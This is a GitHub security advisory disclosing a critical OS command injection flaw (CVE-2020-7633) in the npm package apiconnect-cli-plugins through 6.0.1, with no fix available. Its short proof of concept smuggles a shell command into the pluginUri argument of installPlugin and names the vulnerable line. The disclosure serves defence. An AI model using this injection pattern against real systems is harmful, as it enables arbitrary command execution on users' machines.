ADVISORIES

GitHub Advisory Database

GHSA-c9m9-48pw-6mpv

apiconnect-cli-plugins vulnerable to OS Command Injection

Critical No fix available CVE-2020-7633

Details

apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the pluginUri argument.

PoC

var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");

The injection point is located in line 181 of file lib/plugin-loader.js, in the function installPlugin(pluginUri, registryUri).

Affected packages

EcosystemPackageAffected versions
npmapiconnect-cli-plugins
All versions up to and including 6.0.1

References